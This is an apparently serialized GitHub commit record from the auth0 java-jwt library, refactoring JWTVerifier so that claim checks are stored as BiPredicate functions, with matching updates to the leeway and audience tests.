	additionsKԌ	deletionsM6ufiles](}(j>m  (f93bcd76ffc63cb334b39ecec4d52ad4f2e389eefilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjm  Kjm  KӌchangesMfblob_urlhttps://github.com/auth0/java-jwt/blob/e432aece2d33fca5b27b7fb39807b621e927aae4/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e432aece2d33fca5b27b7fb39807b621e927aae4/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=e432aece2d33fca5b27b7fb39807b621e927aae4patchX3`  @@ -24,17 +24,12 @@
 @SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, Object> expectedClaims;
-    private final Clock clock;
+    final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
     private final JWTParser parser;
 
-    static final String AUDIENCE_EXACT = "AUDIENCE_EXACT";
-    static final String AUDIENCE_CONTAINS = "AUDIENCE_CONTAINS";
-
-    JWTVerifier(Algorithm algorithm, Map<String, Object> expectedClaims, Clock clock) {
+    JWTVerifier(Algorithm algorithm, Map<String, BiPredicate<Claim, DecodedJWT>> expectedClaims) {
         this.algorithm = algorithm;
-        this.expectedClaims = Collections.unmodifiableMap(expectedClaims);
-        this.clock = clock;
+        this.expectedChecks = Collections.unmodifiableMap(expectedClaims);
         this.parser = new JWTParser();
     }
 
@@ -51,43 +46,54 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
 
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, Object> expectedClaims;
+        private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
         private long defaultLeeway;
+        private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
+        private Clock clock;
 
         BaseVerification(Algorithm algorithm) throws IllegalArgumentException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
 
             this.algorithm = algorithm;
-            this.expectedClaims = new HashMap<>();
+            this.expectedChecks = new HashMap<>();
+            this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
-            requireClaim(PublicClaims.ISSUER, isNullOrEmpty(issuer) ? null : Arrays.asList(issuer));
+            List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
+                checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
+                if (value == null || !value.contains(claim.asString())) {
+                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withSubject(String subject) {
-            requireClaim(PublicClaims.SUBJECT, subject);
+            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
-            expectedClaims.remove(AUDIENCE_CONTAINS);
-            requireClaim(AUDIENCE_EXACT, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
-            expectedClaims.remove(AUDIENCE_EXACT);
-            requireClaim(AUDIENCE_CONTAINS, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -101,21 +107,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(PublicClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(PublicClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(PublicClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -127,49 +133,54 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            requireClaim(PublicClaims.JWT_ID, jwtId);
+            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, NonEmptyClaim.getInstance());
+            withClaim(name, ((claim, decodedJWT) -> {
+                if (claim instanceof NullClaim) {
+                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asString())));
             return this;
         }
 
@@ -182,35 +193,36 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
             // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
-            requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
+            checkIfNeedToRemove(name, value,
+                    ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, predicate);
+            checkIfNeedToRemove(name, predicate, predicate);
             return this;
         }
 
@@ -227,8 +239,86 @@ public JWTVerifier build() {
          * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
-            addLeewayToDateClaims();
-            return new JWTVerifier(algorithm, expectedClaims, clock);
+            this.clock = clock;
+            addMandatoryClaimChecks();
+            return new JWTVerifier(algorithm, expectedChecks);
+        }
+
+        /**
+         * Fetches the Leeway set for claim or returns the {@link BaseVerification#defaultLeeway}
+         * @param name Claim for which leeway is fetched
+         * @return Leeway value set for the claim
+         */
+        public long getLeewayFor(String name) {
+            return customLeeways.getOrDefault(name, defaultLeeway);
+        }
+
+        private void addMandatoryClaimChecks() {
+            long expiresAtLeeway = getLeewayFor(PublicClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
+
+            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true) ));
+            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false) ));
+            if(!ignoreIssuedAt) {
+                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
+                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false) ));
+            }
+        }
+
+        private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimValue) {
+            List<Object> claimArr;
+            Object[] claimAsObject = claim.as(Object[].class);
+
+            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
+            if (expectedClaimValue instanceof Long[]) {
+                // convert Integers to Longs for comparison with equals
+                claimArr = new ArrayList<>(claimAsObject.length);
+                for (Object cao : claimAsObject) {
+                    if (cao instanceof Integer) {
+                        claimArr.add(((Integer) cao).longValue());
+                    } else {
+                        claimArr.add(cao);
+                    }
+                }
+            } else {
+                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
+            }
+            List<Object> valueArr = Arrays.asList(expectedClaimValue);
+            return claimArr.containsAll(valueArr);
+        }
+
+        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+            Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            if (shouldBeFuture) {
+                return assertInstantIsFuture(claimVal, leeway, now);
+            } else {
+                return assertInstantIsPast(claimVal, leeway, now);
+            }
+        }
+
+        private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
+            }
+            return true;
+        }
+
+        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
+            }
+            return true;
+        }
+
+        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+            if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
+                    (!shouldContainAll && Collections.disjoint(audience, values))) {
+                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
+            }
+            return true;
         }
 
         private void assertPositive(long leeway) {
@@ -243,43 +333,27 @@ private void assertNonNull(String name) {
             }
         }
 
-        private void addLeewayToDateClaims() {
-            if (!expectedClaims.containsKey(PublicClaims.EXPIRES_AT)) {
-                expectedClaims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
-            }
-            if (!expectedClaims.containsKey(PublicClaims.NOT_BEFORE)) {
-                expectedClaims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
-            }
-            if (ignoreIssuedAt) {
-                expectedClaims.remove(PublicClaims.ISSUED_AT);
+        private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, DecodedJWT> predicate) {
+            if(value == null) {
+                expectedChecks.remove(name);
                 return;
             }
-            if (!expectedClaims.containsKey(PublicClaims.ISSUED_AT)) {
-                expectedClaims.put(PublicClaims.ISSUED_AT, defaultLeeway);
-            }
+            expectedChecks.put(name, predicate);
         }
 
-        private void requireClaim(String name, Object value) {
-            if (value == null) {
-                expectedClaims.remove(name);
-                return;
+        private boolean isNullOrEmpty(String[] args) {
+            if (args == null || args.length == 0) {
+                return true;
             }
-            expectedClaims.put(name, value);
-        }
-    }
-
-    private static boolean isNullOrEmpty(String[] args) {
-        if (args == null || args.length == 0) {
-            return true;
-        }
-        boolean isAllNull = true;
-        for (String arg : args) {
-            if (arg != null) {
-                isAllNull = false;
-                break;
+            boolean isAllNull = true;
+            for (String arg : args) {
+                if (arg != null) {
+                    isAllNull = false;
+                    break;
+                }
             }
+            return isAllNull;
         }
-        return isAllNull;
     }
 
 
@@ -313,7 +387,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
         verifyAlgorithm(jwt, algorithm);
         algorithm.verify(jwt);
-        verifyClaims(jwt, expectedClaims);
+        verifyClaims(jwt, expectedChecks);
         return jwt;
     }
 
@@ -323,156 +397,18 @@ private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, Object> entry : claims.entrySet()) {
-            if (entry.getValue() instanceof NonEmptyClaim) {
-                assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
-            } else {
-                verifyClaimValues(jwt, entry);
-            }
-        }
-    }
-
-    private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between validating that the audience
-            // contains all expected values, or validating that the audience contains at least one of the expected values.
-            case AUDIENCE_EXACT:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
-                break;
-            case AUDIENCE_CONTAINS:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.EXPIRES_AT:
-                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
-                break;
-            case PublicClaims.ISSUED_AT:
-                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.NOT_BEFORE:
-                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.ISSUER:
-                assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
-                break;
-            case PublicClaims.JWT_ID:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getId(), (String) expectedClaim.getValue());
-                break;
-            case PublicClaims.SUBJECT:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
-                break;
-            default:
-                assertValidClaim(jwt, expectedClaim);
-                break;
-        }
-    }
-
-    private void assertClaimPresent(Claim claim, String claimName) {
-        if (claim instanceof NullClaim) {
-            throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", claimName));
-        }
-    }
-
-    private void assertValidClaim(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        boolean isValid = false;
-        String claimName = expectedClaim.getKey();
-        Object expectedClaimValue = expectedClaim.getValue();
-        Claim claim = jwt.getClaim(claimName);
-
-        if (expectedClaimValue instanceof String) {
-            isValid = expectedClaimValue.equals(claim.asString());
-        } else if (expectedClaimValue instanceof Integer) {
-            isValid = expectedClaimValue.equals(claim.asInt());
-        } else if (expectedClaimValue instanceof Long) {
-            isValid = expectedClaimValue.equals(claim.asLong());
-        } else if (expectedClaimValue instanceof Boolean) {
-            isValid = expectedClaimValue.equals(claim.asBoolean());
-        } else if (expectedClaimValue instanceof Double) {
-            isValid = expectedClaimValue.equals(claim.asDouble());
-        } else if (expectedClaimValue instanceof Instant) {
-            isValid = expectedClaimValue.equals(claim.asInstant());
-        } else if (expectedClaimValue instanceof BiPredicate) {
-            isValid = ((BiPredicate) expectedClaimValue).test(claim, jwt);
-        } else if (expectedClaimValue instanceof Object[]) {
-            List<Object> claimArr;
-            Object[] claimAsObject = claim.as(Object[].class);
-
-            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
-            if (expectedClaimValue instanceof Long[]) {
-                // convert Integers to Longs for comparison with equals
-                claimArr = new ArrayList<>(claimAsObject.length);
-                for (Object cao : claimAsObject) {
-                    if (cao instanceof Integer) {
-                        claimArr.add(((Integer) cao).longValue());
-                    } else {
-                        claimArr.add(cao);
-                    }
-                }
-            } else {
-                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
-            }
-            List<Object> valueArr = Arrays.asList((Object[]) expectedClaimValue);
-            isValid = claimArr.containsAll(valueArr);
-        }
-
-        if (!isValid) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
-        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
-        if (shouldBeFuture) {
-            assertInstantIsFuture(claimVal, leeway, now);
-        } else {
-            assertInstantIsPast(claimVal, leeway, now);
-        }
-    }
-
-    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-        }
-    }
-
-    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-        }
-    }
-
-    private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
-                (!shouldContainAll && Collections.disjoint(audience, values))) {
-            throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
-        }
-    }
-
-    private void assertValidIssuerClaim(String issuer, List<String> value) {
-        if (issuer == null || !value.contains(issuer)) {
-            throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
-        }
-    }
-
-    /**
-     * Simple singleton used to mark that a claim should only be verified for presence.
-     */
-    private static class NonEmptyClaim {
-        private static NonEmptyClaim nonEmptyClaim;
+    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims) throws TokenExpiredException, InvalidClaimException {
+        for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
+            boolean isValid;
+            String claimName = entry.getKey();
+            BiPredicate<Claim, DecodedJWT> expectedCheck = entry.getValue();
+            Claim claim = jwt.getClaim(claimName);
 
-        private NonEmptyClaim() {}
+            isValid = expectedCheck.test(claim, jwt);
 
-        public static NonEmptyClaim getInstance() {
-            if (nonEmptyClaim == null) {
-                nonEmptyClaim = new NonEmptyClaim();
+            if (!isValid) {
+                throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
             }
-            return nonEmptyClaim;
         }
     }
 }u}(j>m  (4e7f0a4ee7760455b6f6e81f3729a3eec3940df7jm  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajm  modifiedjm  KAjm  Kcjm  Kjm  https://github.com/auth0/java-jwt/blob/e432aece2d33fca5b27b7fb39807b621e927aae4/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajm  https://github.com/auth0/java-jwt/raw/e432aece2d33fca5b27b7fb39807b621e927aae4/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajm  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=e432aece2d33fca5b27b7fb39807b621e927aae4jm  X9  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.AlgorithmMismatchException;
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
@@ -16,8 +17,6 @@
 import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
@@ -263,63 +262,29 @@ public void shouldRemoveAudienceWhenPassingNullReference() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience()
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
                 .withAudience(emptyAud)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience()
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Test
@@ -330,16 +295,16 @@ public void shouldRemoveAudienceWhenPassingNull() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -350,16 +315,16 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
                 .withAnyOfAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -453,10 +418,10 @@ public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        Map<String, Object> map = new HashMap<>();
-        map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, Clock.systemUTC());
-        verifier.verify(token);
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", "")
+                .build()
+                .verify(token);
     }
 
     @Test
@@ -533,8 +498,8 @@ public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
                 .withClaim("name", (Date) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -593,76 +558,76 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     }
 
     // Generic Delta
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 0L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 0L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 0L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(0L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptIssuedAt(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 9999L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
